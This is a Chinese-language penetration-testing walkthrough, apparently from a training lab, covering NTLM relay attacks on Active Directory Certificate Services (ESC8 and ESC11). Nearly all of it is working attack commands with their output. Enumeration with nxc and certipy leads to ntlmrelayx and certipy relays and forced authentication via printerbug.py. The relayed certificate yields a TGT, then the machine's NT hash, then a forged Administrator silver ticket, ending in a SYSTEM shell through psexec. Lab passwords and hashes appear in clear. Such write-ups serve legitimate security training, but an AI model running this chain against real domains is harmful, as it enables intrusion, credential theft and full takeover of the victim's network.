针对 AD CS 的NTLM 中继攻击

1. NTLM Relay on ADCS

Active Directory 证书服务 ( AD CS ) 是微软 Public Key Infrastructure ( PKI ) 的实现,旨在管理组织网络内的数字证书。AD AD CS 提供多种服务,包括用于安全通信的证书颁发、数字签名和加密。

ADCS支持多种注册方式,包括基于 HTTP 的注册,允许用户通过 HTTP 请求和获取证书

我们可以将 HTTP NTLM 身份验证转发到证书注册接口与CA服务进行交互,请求CA证书

1.1. 枚举

1.1.1. nxc的ADCS模块

可以用nxcADCS模块进行枚举

nxc ldap 172.16.117.3 -u plaintext$ -p 'o6@ekK5#rlw2rAe' -M adcs -o SERVER=INLANEFREIGHT-DC01-CA

SMB         172.16.117.3    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)
LDAP        172.16.117.3    389    DC01             [+] INLANEFREIGHT.LOCAL\plaintext$:o6@ekK5#rlw2rAe 
ADCS                                                Using PKI CN: INLANEFREIGHT-DC01-CAADCS        172.16.117.3    389    DC01             [*] Starting LDAP search with search filter '(distinguishedName=CN=INLANEFREIGHT-DC01-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,'
ADCS                                                Found Certificate Template: DirectoryEmailReplication
ADCS                                                Found Certificate Template: DomainControllerAuthentication
ADCS                                                Found Certificate Template: KerberosAuthentication
ADCS                                                Found Certificate Template: EFSRecovery
ADCS                                                Found Certificate Template: EFS
ADCS                                                Found Certificate Template: DomainController
ADCS                                                Found Certificate Template: WebServer
ADCS                                                Found Certificate Template: MachineADCS                                                Found Certificate Template: User
ADCS                                                Found Certificate Template: SubCA
ADCS                                                Found Certificate Template: Administrator
  • PKI 注册服务器为INLANEFREIGHT-DC01-CA
  • Machine模板已经启用

1.1.2. certipy

certipy find -enabled -u 'plaintext$'@172.16.117.3 -p 'o6@ekK5#rlw2rAe' -stdout

Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'INLANEFREIGHT-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'INLANEFREIGHT-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'INLANEFREIGHT-DC01-CA' via RRP
[*] Got CA configuration for 'INLANEFREIGHT-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : INLANEFREIGHT-DC01-CA
    DNS Name                            : DC01.INLANEFREIGHT.LOCAL
    Certificate Subject                 : CN=INLANEFREIGHT-DC01-CA, DC=INLANEFREIGHT, DC=LOCAL
    Certificate Serial Number           : 110830E19B30B89546FA6D338A2C42DD
    Certificate Validity Start          : 2023-07-12 14:05:58+00:00
    Certificate Validity End            : 2028-07-12 14:15:57+00:00
    Web Enrollment                      : Enabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Disabled
    Permissions
      Owner                             : INLANEFREIGHT.LOCAL\Administrators
      Access Rights
        ManageCertificates              : INLANEFREIGHT.LOCAL\Administrators
                                          INLANEFREIGHT.LOCAL\Domain Admins
                                          INLANEFREIGHT.LOCAL\Enterprise Admins
        ManageCa                        : INLANEFREIGHT.LOCAL\Administrators
                                          INLANEFREIGHT.LOCAL\Domain Admins
                                          INLANEFREIGHT.LOCAL\Enterprise Admins
        Enroll                          : INLANEFREIGHT.LOCAL\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled and Request Disposition is set to Issue
      ESC11                             : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
  • ESC8:Web Enrollment is enabled and Request Disposition is set to Issue
  • ESC11: Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

2. ESC8

要利用ESC8,需要满足一下两个条件

  • 存在易受攻击的Web注册端点
  • 至少启用了一个允许域内计算机注册和客户端身份验证的证书模板(比如默认的Machine/Computer模板)

2.1. 攻击流程

  • 强制认证:强制一个计算机账户(Machine Account)发起身份验证。
  • 中继请求:将该认证请求中继到 AD CS 的 Web 注册接口。
  • 获取证书:从而获得一个允许“客户端身份验证”的数字证书。
  • 权限维持/提升:最后,利用该证书伪造白银票据

2.2. 枚举Web端点是否支持NTLM认证

certipy显示目标存在ESC8漏洞,但我们仍然需要确保 Web 注册端点可以接受 HTTP NTLM身份验证,因为管理员可能会故意禁用NTLM身份验证,并替换为协商(Negotiate)Kerberos

我们可以使用cURLNTLMRecon进行确认,

curl -I http://172.16.117.3/certsrv/
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
WWW-Authenticate: NegotiateWWW-Authenticate: NTLMX-Powered-By: ASP.NET
Date: Fri, 11 Aug 2023 20:52:44 GMT

从结果输出可以发现目标是使用的NTLM认证,可以进行中继攻击

此外也可以使用 NTLMRecon 对Web 端点进行模糊测试

./NTLMRecon -t http://172.16.117.3/ -o json | jq

{
  "url": "http://172.16.117.3/CertSrv/",
  "ntlm": {
    "netbiosComputerName": "DC01",
    "netbiosDomainName": "INLANEFREIGHT",
    "dnsDomainName": "INLANEFREIGHT.LOCAL",
    "dnsComputerName": "DC01.INLANEFREIGHT.LOCAL",
    "forestName": "INLANEFREIGHT.LOCAL"
  }
}

2.3. 利用ntlmrelayx进行攻击

2.3.1. ntlmrelayx中继

要利用 ESC8 漏洞,我们可以使用 ntlmrelayx 或 certipy ,以及 PKINIT 工具或 ADCSKiller 我们将使用前两者以及 PKINIT 工具,首先是 ntlmrelayx 

ntlmrelayx中使用http://172.16.117.3/certsrv/certfnsh.asp来作为我们的中继目标,这是DC上的HTTP Web 注册端点

ntlmrelayx.py -t http://172.16.117.3/certsrv/certfnsh.asp -smb2support --adcs --template Machine

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server

[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections

  • -smb2support :我们会强制受害者向我们攻击机进行SMB NTLM身份验证
  • --adcs :执行ADC中继攻击
  • --template:目标模板(这里使用Machine模板),如果不加此参数,ntlmrelayx会根据结尾是否有$来自动选择MachineUser模板。如果是中继域控制器的 NTLM 身份验证,必须显式指定 DomainController 模板

2.3.2. printerbug.py执行强制SMB NTLM身份认证

python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.50 172.16.117.30

[*] Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Attempting to trigger authentication via rprn RPC at 172.16.117.50
[*] Bind OK
[*] Got handle
RPRN SessionError: code: 0x6ab - RPC_S_INVALID_NET_ADDR - The network address is invalid.
[*] Triggered RPC backconnect, this may or may not have worked

成功后ntlmrelayx 将通过 HTTP 将其转发到 Web 注册端点,并返回 WS01$ 的 base64 编码证书

[*] SMBD-Thread-5: Received connection from 172.16.117.50, attacking target http://172.16.117.3
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://172.16.117.3 as INLANEFREIGHT/WS01$ SUCCEED
[*] SMBD-Thread-7: Connection from 172.16.117.50 controlled, but there are no more targets left!
[*] SMBD-Thread-8: Connection from 172.16.117.50 controlled, but there are no more targets left!
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 14
[*] Base64 certificate of user WS01$: 
MIIRPQIBAzCCEPcGCSqGSIb3DQEHAaCCEOgEghDkMIIQ4DCCBxcGCSqGSIb3DQEHBqCCBwgwggcEAgEAMI<SNIP>U6EWbi/ttH4BAjUKtJ9ygRfRg==

2.3.3. base64解码为.pfx文件

echo -n "MIIRPQIBAzCCEPcGCSqGSIb3DQEHAaCCEOgEghDkMIIQ4DCCBxcGCSqGSIb3DQEHBqCCBwgwggcEAgEAMI<SNIP>U6EWbi/ttH4BAjUKtJ9ygRfRg==" | base64 -d > ws01.pfx

2.3.4. 使用 gettgtpkinit.py 请求 TGT 和 AS-REP 加密密钥

现在我们将使用 PKINITtools 中的 gettgtpkinit.py,通过证书文件与域控制器进行交互。

gettgtpkinit.py 将使用 .PFX 文件请求一个 TGT,并打印出 AS-REP 加密密钥,稍后运行 getnthash.py 会用到这个

python3 gettgtpkinit.py -dc-ip 172.16.117.3 -cert-pfx ws01.pfx 'INLANFREIGHT.LOCAL/WS01$' ws01.ccache

2023-08-13 08:30:26,255 minikerberos INFO     Loading certificate and key from file
2023-08-13 08:30:26,723 minikerberos INFO     Requesting TGT
2023-08-13 08:30:36,451 minikerberos INFO     AS-REP encryption key (you might need this later):
2023-08-13 08:30:36,451 minikerberos INFO     917ec3b9d13dfb69e42ee05e09a5bf4ac4e52b7b677f1b22412e4deba644ebb2
2023-08-13 08:30:36,456 minikerberos INFO     Saved TGT to file
  • gettgtpkinit.py 还提供 -pfx-base64 选项,允许直接以字符串形式传递 Base64 编码的证书

2.3.5. 使用 getnthash.py 获取 WS01$ 的 NT 哈希值

利用 getnthash.py脚本,通过TGT和AS-REP 加密密钥获取NTLM哈希,

它通过 Kerberos U2U协议为 WS01$ 提交 TGS请求;接收到的 TGS 将包含特权属性证书 (PAC),其中就含有 WS01$ 的 NT 哈希值,不过是以加密形式存在的。我们可以使用AS-REP 加密密钥解出NT 哈希

KRB5CCNAME=ws01.ccache python3 getnthash.py 'INLANEFREIGHT.LOCAL/WS01$' -key 917ec3b9d13dfb69e42ee05e09a5bf4ac4e52b7b677f1b22412e4deba644ebb2

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
3d3a72af94548ebc7755287a88476460

这种操作在RBCD on SPN-less users中有演示

2.3.6. 伪造白银票据

首先获取域SID

lookupsid.py 'INLANEFREIGHT.LOCAL/WS01$'@172.16.117.3 -hashes :3d3a72af94548ebc7755287a88476460

Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Brute forcing SIDs at 172.16.117.3
[*] StringBinding ncacn_np:172.16.117.3[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1207890233-375443991-2397730614
<SNIP>

然后用impacket-ticketer伪造白银票据

ticketer.py -nthash 3d3a72af94548ebc7755287a88476460 -domain-sid S-1-5-21-1207890233-375443991-2397730614 -domain inlanefreight.local -spn cifs/ws01.inlanefreight.local Administrator

Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for inlanefreight.local/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache

2.3.7. psexec

KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass ws01.inlanefreight.local

Impacket v0.10.1.dev1+20230718.100545.fdbd2568 - Copyright 2022 Fortra

[*] Requesting shares on ws01.inlanefreight.local.....
[*] Found writable share ADMIN$
[*] Uploading file Txqmfqxx.exe
[*] Opening SVCManager on ws01.inlanefreight.local.....
[*] Creating service MPbs on ws01.inlanefreight.local.....
[*] Starting service MPbs.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2628]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>

2.4. 利用Certipy进行攻击

我们还可以用certipy进行攻击,这种方式可以节省一些步骤,

2.4.1. certipy进行relay

certipy relay -target "http://172.16.117.3" -template Machine

Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting http://172.16.117.3/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
  • relay:指定ADCS的IP
  • -template:指定模板
  • 如果要强制DC执行中继,我们需要使用DomainController 模板

2.4.2. printerbug.py 强制进行身份验证

python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.50 172.16.117.30

[*] Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Attempting to trigger authentication via rprn RPC at 172.16.117.50
[*] Bind OK
[*] Got handle
RPRN SessionError: code: 0x6ba - RPC_S_SERVER_UNAVAILABLE - The RPC server is unavailable.
[*] Triggered RPC backconnect, this may or may not have worked

等待一会,获取到了ws01.pfx

certipy relay -target "http://172.16.117.3" -template Machine

Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting http://172.16.117.3/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
INLANEFREIGHT\WS01$
[*] Requesting certificate for 'INLANEFREIGHT\\WS01$' based on the template 'Machine'
[*] Got certificate with DNS Host Name 'WS01.INLANEFREIGHT.LOCAL'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'ws01.pfx'[*] Exiting...

然后使用auth参数吧证书传给DC获取目标的NT LM哈希

certipy auth -pfx ws01.pfx -dc-ip 172.16.117.3

Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: ws01$@inlanefreight.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ws01.ccache'
[*] Trying to retrieve NT hash for 'ws01$'
[*] Got hash for 'ws01$@inlanefreight.local': aad3b435b51404eeaad3b435b51404ee:3d3a72af94548ebc7755287a88476460

3. ESC11

ESC11 ,其针对ADCSICPR 接口(一个负责处理证书申请的底层 RPC 通道)。如果 CA没有强制要求 RPC 通信必须加密(即未开启 IF_ENFORCEENCRYPTICERTREQUEST 标志),攻击者就可以把截获的受害者身份“转发”给这个接口。

IF_ENFORCEENCRYPTICERTREQUEST:强制要求客户端与 CA之间的所有证书注册请求必须经过加密

  • 开启(默认):要求所有连接到ICPR 接口 的请求必须是加密的。(如果开启这个加密强制措施,Windows XP 客户端将无法申请证书,因为它们不支持这种加密请求)
  • 关闭:允许不加密的 RPC 请求。

管理员可以使用 certutil 手动取消设置 IF_ENFORCEENCRYPTICERTREQUEST 标志

C:\Users\Administrator>certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\INLANEFREIGHT-DC01-CA\InterfaceFlags:

Old Value:
  InterfaceFlags REG_DWORD = 641 (1601)
    IF_LOCKICERTREQUEST -- 1
    IF_NOREMOTEICERTADMINBACKUP -- 40 (64)
    IF_ENFORCEENCRYPTICERTREQUEST -- 200 (512)
    IF_ENFORCEENCRYPTICERTADMIN -- 400 (1024)

New Value:
  InterfaceFlags REG_DWORD = 441 (1089)
    IF_LOCKICERTREQUEST -- 1
    IF_NOREMOTEICERTADMINBACKUP -- 40 (64)
    IF_ENFORCEENCRYPTICERTADMIN -- 400 (1024)
CertUtil: -setreg command completed successfully.
The CertSvc service may need to be restarted for changes to take effect.

3.1.1. Certipy中继 over RPC/ICPR

通过 RPC/ICPR(而不是 HTTP)来中继被强制触发的 SMB NTLM 身份验证

certipy relay -target "rpc://172.16.117.3" -ca "INLANEFREIGHT-DC01-CA"

Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://172.16.117.3 (ESC11)
[*] Listening on 0.0.0.0:445

3.1.2. printerbug.py强制认证

python3 printerbug.py inlanefreight/plaintext$:'o6@ekK5#rlw2rAe'@172.16.117.50 172.16.117.30

[*] Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Attempting to trigger authentication via rprn RPC at 172.16.117.50
[*] Bind OK
[*] Got handle
DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Triggered RPC backconnect, this may or may not have worked
certipy relay -target "rpc://172.16.117.3" -ca "INLANEFREIGHT-DC01-CA"

Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://172.16.117.3 (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:172.16.117.3[135] to determine ICPR stringbinding
[*] Attacking user 'WS01$@INLANEFREIGHT'
[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'WS01$' with template 'Machine'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 14
[*] Got certificate with DNS Host Name 'WS01.INLANEFREIGHT.LOCAL'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'ws01.pfx'
[*] Exiting...